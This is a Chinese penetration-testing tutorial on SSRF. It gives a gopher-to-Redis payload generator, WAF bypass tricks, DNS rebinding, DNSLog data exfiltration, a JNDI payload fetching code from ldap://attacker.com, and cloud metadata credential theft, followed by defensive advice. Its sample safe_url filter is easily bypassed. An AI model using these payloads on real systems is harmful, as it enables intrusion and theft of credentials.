1. SSRF漏洞的本质与危害第一次接触SSRF漏洞时我盯着那个缩写看了半天——Server-Side Request Forgery服务器端请求伪造。这名字听起来挺唬人但实际原理却简单得令人惊讶。想象一下你走进一家餐厅服务员问你想吃什么你却说请帮我去隔壁那家不对外开放的私人厨房要份秘制酱料。如果服务员真的照做了这就是SSRF的完美写照。SSRF最危险的地方在于它打破了网络边界。去年我参与某次渗透测试时就遇到一个典型案例某电商网站的图片预览功能存在SSRF漏洞攻击者可以通过构造特殊URL让服务器去扫描内网的其他系统。更可怕的是这个漏洞还允许使用gopher协议直接攻击内网的Redis数据库导致整个内网沦陷。SSRF的三大杀伤链内网探测通过构造不同IP和端口的请求绘制内网拓扑图协议滥用利用file://读取敏感文件用gopher://攻击数据库权限突破借助服务器的高权限身份访问受限资源2. Gopher协议的魔法攻击Gopher协议就像网络世界中的瑞士军刀这个诞生于1991年的老古董协议在现代Web安全中焕发了第二春。它最厉害的地方在于可以构造任意TCP流量相当于给了攻击者一个协议转换器。记得第一次用Gopher攻击Redis时我手写了整整两页的协议转换代码。现在想想都好笑其实用Python几行就能搞定import urllib.parse payload SET mykey hacked!\nQUIT\n gopher_url gopher://127.0.0.1:6379/_ urllib.parse.quote(payload.encode(utf-8)) print(gopher_url)这段代码会生成一个能执行Redis命令的URL。当存在SSRF漏洞的服务器访问这个URL时就会在Redis中设置一个键值。但实际攻击远不止这么简单还需要考虑协议转换规则每行命令要以\r\n结尾特殊字符处理需要双重URL编码的情况无回显场景如何确认攻击是否成功3. 突破防护的七种武器现代WAF对SSRF的防护越来越严格但道高一尺魔高一丈。去年在某次攻防演练中我遇到了一个堪称铜墙铁壁的防护系统最终用了七种方法才突破短网址变形术将127.0.0.1转换为tinyurl.com/xxx进制转换大法比如2130706433就是127.0.0.1的十进制表示域名重定向术注册一个解析到内网IP的域名302跳转攻击先指向合法网站再跳转到内网协议嵌套技巧http://evil.com127.0.0.1IPv6花式表达比如[::]表示本地地址DNS重绑定术利用TTL差异绕过检测最有趣的是DNS重绑定我曾在测试中使用过这样的payloadhttp://yourdomain.com/ssrf.php其中yourdomain.com的DNS记录先在公网IP停留2秒然后立即改为127.0.0.1。当服务器第一次DNS查询时得到的是外网IP实际请求时却指向了内网。4. 无回显利用的艺术没有回显的SSRF就像蒙着眼睛拆炸弹但老司机自有妙招。去年审计某OA系统时我发现了一个无回显SSRF最终通过DNSLog实现了漏洞利用。具体操作分四步探测阶段用Burp Collaborator或ceye.io生成专属域名盲打测试构造请求让服务器访问http://xxx.ceye.io观察日志查看是否有DNS查询记录数据外带通过子域名携带信息如http://data.xxx.ceye.io更高级的技巧是用延时判断。比如攻击Redis时可以构造一个执行sleep 5的命令通过响应时间差异来判断漏洞是否存在。我曾写过一个自动化检测脚本import requests import time def check_ssrf(url): start time.time() requests.get(url, params{target: gopher://127.0.0.1:6379/_...}) return time.time() - start 35. 从漏洞挖掘到防御实战挖掘SSRF漏洞就像玩解谜游戏关键要找到那些会帮你去拿东西的功能点。我整理了一份高危功能清单网页截图服务PDF生成接口第三方支付回调邮件服务器测试网站健康检查富文本编辑器图片上传防御方面我建议采用四层过滤机制协议白名单仅允许http/https域名黑名单屏蔽内网域名和IP请求内容检查限制POST数据大小网络层隔离业务服务器单独分区在代码实现上推荐使用完善的URL解析库而不是简单的字符串匹配。比如Python的urllib.parse就比正则表达式可靠得多from urllib.parse import urlparse def safe_url(url): parsed urlparse(url) if parsed.hostname in [localhost, 127.0.0.1]: return False if parsed.port in [3306, 6379, 11211]: return False return True6. 企业级防护方案在大厂做安全审计时我见过最完善的SSRF防护是某金融云的多层防御体系前端过滤对用户输入的URL进行预处理代理检测所有出站请求经过安全代理流量分析实时监控异常请求模式蜜罐诱捕在内网部署虚假服务检测扫描行为他们还开发了一套动态令牌系统每个外部请求需要携带一次性令牌服务器会验证令牌的有效性和请求目标的匹配度。这种方案虽然复杂但确实能有效防护高级SSRF攻击。7. 实战中的奇技淫巧在最近一次红队行动中我遇到了一个有趣的场景目标系统过滤了所有常见协议但允许使用ldap协议。经过测试发现他们的LDAP客户端居然支持...JNDI注入于是经典的SSRF秒变RCEldap://attacker.com/Exploit另一个技巧是利用云服务的元数据接口。很多云平台都有类似http://169.254.169.254的元数据地址通过SSRF获取这些信息往往能拿到云服务器的访问凭证。有次测试中我就这样拿到了AK/SK直接接管了整个测试环境。最绝的是某次用SSRF攻击Kubernetes集群的经历。通过构造特殊的gopher请求我直接调用了k8s API最终在容器里拿到了集群管理员权限。整个过程就像在用服务器玩俄罗斯套娃一层层突破边界。